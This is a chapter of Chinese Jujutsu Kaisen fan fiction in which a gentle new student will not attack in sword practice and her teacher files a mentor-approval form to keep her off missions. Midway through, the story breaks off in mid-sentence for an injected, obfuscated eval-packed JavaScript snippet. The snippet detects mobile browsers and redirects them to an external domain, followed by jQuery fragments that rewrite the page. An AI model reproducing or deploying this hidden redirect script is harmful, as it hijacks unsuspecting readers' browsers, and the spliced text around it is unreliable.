“真希故意让我,就挺下不去手的……”陆相无睁着清澈的大眼回望日下部老师。
“?”戒烟许久的日下部笃也咬了下棒棒糖的塑料柄,沉默了一会,不解的发问:“要是不让你,你能碰到真希?”
陆相无也很茫然,即使知道真希肯定不会被她这个初学者伤到,可不知道为什么攻击的时候就是很迟疑,虽说‘胜之不武’这个词不太合适,但感觉上是差不多的。
日下部笃也盯着她们:“再来。”
陆相无又一次举起了刀,她明白不能再像刚才那样了,要更激进的去攻击。
真希那双绿色的眼眸认真的望着她,期待她去攻击特意留出的‘破绽’,她深呼吸,逼迫着自己在空档出现的时候伸出手去戳、去刺。
“停。”
日下部笃也喊了停,陆相无是做出了相应的动作,但那不叫攻击,她没有丝毫战意。
出招动作缓慢,没有力道,角度也中规中矩,像怕对方看不穿一样。
“为什么不攻击。”
日下部笃也不是质问,而是真的想了解陆相无的想法。
“我不知道……”陆相无清楚日下部老师说的‘攻击’是指什么,她没有攻击欲,“为什么非要那样?”
在和真希对练的过程中,她学会了日下部老师教的招式,同时也锻炼了身体,比课前一无所知的自己进步了很多,这不就很好吗?
“……”日下部笃也深吸一口气,他戒烟很久了,但现在突然好想点上一根。
真希提着木刀,感觉像看到了刚来时候的忧太,让人看着来气又偏偏发不出来。
『“连个明确的目标都没有,咒术高专可不是让你来混日子的。”』——真希还记得当时她是这么跟忧太说的,但新同学和忧太是不一样的,甚至让她有那么一瞬间想起了一个本以为遗忘了很久的人。
真希冷着脸问:“有人欺负过你吗?把我想象成那个人。”
陆相无明白了真希的意思,她抠了抠脑壳,把范围扩大到不喜欢和看不惯的人,从幼儿园的记忆开始扒拉:“没有诶。”
遇到的人对都挺好的,嘿嘿。
“想要得到或者守护的东西呢?”
不能说没有吧,但好像都在伸手就能够着的范围内,最近一次有点想要的,就是来高专看看这到底是个什么样的地方。
没等陆相无回答,真希已经从那对清澈的眼神中明白了答案,她的脸更臭了,“那假如你被人欺负了,你会怎么办?”
“肯定先跟家里讲,”一般到这一步就差不多能解决了,但陆相无还是想努力丰富一下回答:“然后看情况跟老师说,或者直接报警之类的吧。”
“……要是都不行呢?对方一手遮天,法律和规则不管用呢?”真希追问道。
真希的这些问题超出了她能接触到的范围,变成了空泛而又抽象的话题。
“要是没人帮你呢?你就没想过自己动手吗!”
陆相无知道真希想要什么样的答案,可她没办法在自己都无法理解认同的情况下说出来——用武力解决问题目前不在她会考虑的方案里。
她想说到了那种境地,会具体问题具体分析,尝试通过其他途径来解决。或许像在为自己的做不到而狡辩,但她始终不认为事情的解决只有这一条方向。
“抱歉啊,真希。”
作为一个享受当下,不想追求更强力量,也没有改变这个烂透的世界想法的人,日下部笃也活的很自洽。现在他见到了一个更自洽无欲无求的人,还单纯是因为什么都有了。
原本他们两个人都可以这样自洽的生活在各自的世界里,偏偏有一个人想不开要自讨苦吃,导致他的美好生活也出现了裂痕。
“真希,你先回去上课吧,”日下部笃也深重的叹了口气,从口袋里掏了根棒棒糖点上:“我带新同学练基础动作。”
说实话,他不知道要怎么教了,只能先想个招把这节课对付过去。
没想到新同学对类似挥刀几百下,这种敷衍的授课模式接受良好,一个人在旁边练的津津有味,调整着每一次的呼吸和动作,一点也不嫌枯燥无味。
见研修生刻苦不偷懒,日下部笃也满意的坐在树荫下乘凉。
在艰难曲折的磨合后,两个人似乎重新找回了自己舒适的方式。
又结束一天工作的的日下部笃也提前十分钟就着手收拾起钓具,显然对下班后的时间已经做好了安排。
“笃也桑下课了啊,说起来新来的外国学生怎么样?”辅助监督——同时也是教授通识课的佐藤夏実(同实)也刚好回到办公室,八卦道:“听说也是个天才级的人物呢,不仅在东大读书,还凭借自己摸索就掌握了术式顺转和术式反转,就连五条都为此特地去找了总监部的麻烦才把人带回来呢……”
日下部笃也手头正忙着,偶尔回个嗯敷衍下同事。
“……哎呀,是不是也别教的太用心了,”佐藤又有些担忧,甚至阴谋论起来,“还是得保留一些,免得惹上大麻烦,总监部肯定也不希望国外咒术师的能力太强了,学术无国界,但咒术是有国界的,你说是吧笃也桑?”
日下部笃也头也没抬得回答道:“放心吧,不会的。”
说完觉得这个答案似乎太绝对了。
上完刚才的课他对自己的授课水平也不再那么全然的自信了,遂补充道:“至少在我这是不可能了。”
说完他抱着钓具随手带上办公室的门,留佐藤一个人在原地想刚才的回答是什么意思。
还没等他琢磨出意思,就见日下部笃也去而复返。
背着钓具提着折叠凳和小桶回到办公桌前坐下,从最下层的抽屉里翻出了一份导师负责制表,快速填上陆相无的信息后,在发起人一栏盖上了自己的姓名章及东京都立咒术高专二年级班主任章,拿着去校长办公室找夜蛾正道。
“欸——”佐藤对着再次关上的门眨眨眼,嘀咕道:“还是头一次见笃也桑下班后主动折返办公呢,天大的事不都会留到第二天吗……”
自从离婚后夜蛾正道就开始了以学校为家的生活了,除了个别要外出的情况,基本都能在学校找到他人。
“校长,麻烦您签署一下这份文书。”日下部笃也指着表格下方导师签章一栏说。
“嗯?”夜蛾正道下意识看了眼墙上的挂钟,已经超出下班时间五分钟了,他神情一肃,接过日下部笃也递来的文书,认真看了起来,“嘶,这份表……你怎么会想着给研修生申请?”
——如有任何涉及咒灵祓除的任务,需经过该导师签字核准后,才会发放到该学生手里。
若无导师的签批,即使学生本人同意也不能出任务。
连被特级过咒怨灵诅咒的乙骨忧太都没有签过这个。
“啧,”日下部笃也挠了挠头,说:“只是不想看见本能被阻止的惨案在我面前发生。”
夜蛾正道看着反常的日下部,最终没有问发生了什么,也没有问本身就有导师责任人的资格的日下部为什么不直接签自己的名字——日下部在高专任职这么多年,这是他见到最积极的一次了。
“我明白了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632281|172571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,文书就先放我这吧,等悟回来,我们讨论一下,找合适的人签上。”
日下部得到了肯定的答复,脚步也没挪动:“五条不知道什么时候能忙完呢,您当责任导师挺合适的,现在就签上吧。”
这种水平的学生还是一步都不要踏出学校为好,哪怕是去祓除个蝇头,他都会担心发生意外引发国际事件,进而导致他平静美好的生活一去不返,必须得找个人来负责,别砸他手里了。
“……”夜蛾正道顿了顿,在日下部如有实质的目光催促下,从一团彩色的昆兰仕羊毛下翻到笔筒,签下了名字。
“还有盖章。”
“……好。”
见文书文书的生效,他才点点头离开。
总算能放下心去钓会鱼了。
学生活动室里,熊猫正在做夜蛾校长布置的课外作业,捏着一只和它身型比例极其不相符的笔小心翼翼的在笔记本上写字,可爱软弹的翠竹尖尖上,一只熊猫随着书写动作左右晃动着。
“你就不能换只笔吗,熊猫!”真希忍无可忍了,这个画面就像个壮汉非要捏着一根小号绣花针做针线活一样辣眼。
“这可是相无送我的,来自我素未谋面的故乡天府的珍贵礼物,我承诺过一定会好好使用的!”熊猫把笔往自己怀里收了收,保护起来,“说起来,也不知道相无怎么了,连晚饭都没有吃。”
“昆布?”
“是啊,我们要不要送一些跌打损伤的药油或喷雾过去?”
虽然真希没有全程参与,不知道陆相无的体术课上的怎么样,但单从对练来看也挺无语的,让人不知道要怎么说:“没事,应该是从没上过这类的课,所以有些不适应而已。”
“我一开始也是的,因为之前的之前的学校没有开过这样的课,如果也没有参与剑道之类的社团,确实会有些不适应,好像在华夏的学校这类社团不太普遍。”
“说不准相无也不会在这里很久呢。”熊猫用下巴蹭蹭笔杆上那只打着粉腮红的小号熊猫,读起面前《瓦尔登湖》里梭罗离开时的那段描写。
——我离开了那座森林,和我当初进入那里一样,都是出于同样的理由。也许是因为我觉得,我还有好几辈子可以活,而不必把更多时间浪费在这一辈子上……
“正道说我读这本书为时过早,它对我而言太深奥了,不过我很喜欢这段。”
从小就出生在咒术界的它,见多了‘被动’的离开,它觉得也许这会是一次主动的别离,人和人的差距,比咒骸和人类之间的区别还大呢。
“鲑鱼子。”
“不如我们想办法帮相无适应吧,就像真希当初…鼓励我那样?”
听见忧太说到鼓励一词时诡异停顿,熊猫坏笑了一声,偷瞄真希。
真希没有说话,低头写着通识课的作业。
熊猫见状眼珠子一转,想要贩个剑,正当它准备凑过去大吼一声时,刚张开的嘴筒子就被头也没抬的真希一把攥着了。狗卷立即端坐起来,无比认真的捧起书本,两耳不闻窗外事,整个人异常的专注。
“三天没打你棉花松了是不是?”真希暴怒,“下次笔给你撅断!”
“呜呜呜呜呜呜呜——”熊猫支支吾吾的挣扎。
真希没有假哭的熊猫,起身拿着课本离开:“渡己的舟,桨只会握在自己手里。”
【小剧场】
日下部:哈,什么样的我教不了?
(十分钟后)
日下部:话说早了,我真教不了。
因为过的太幸福了而没有破绽。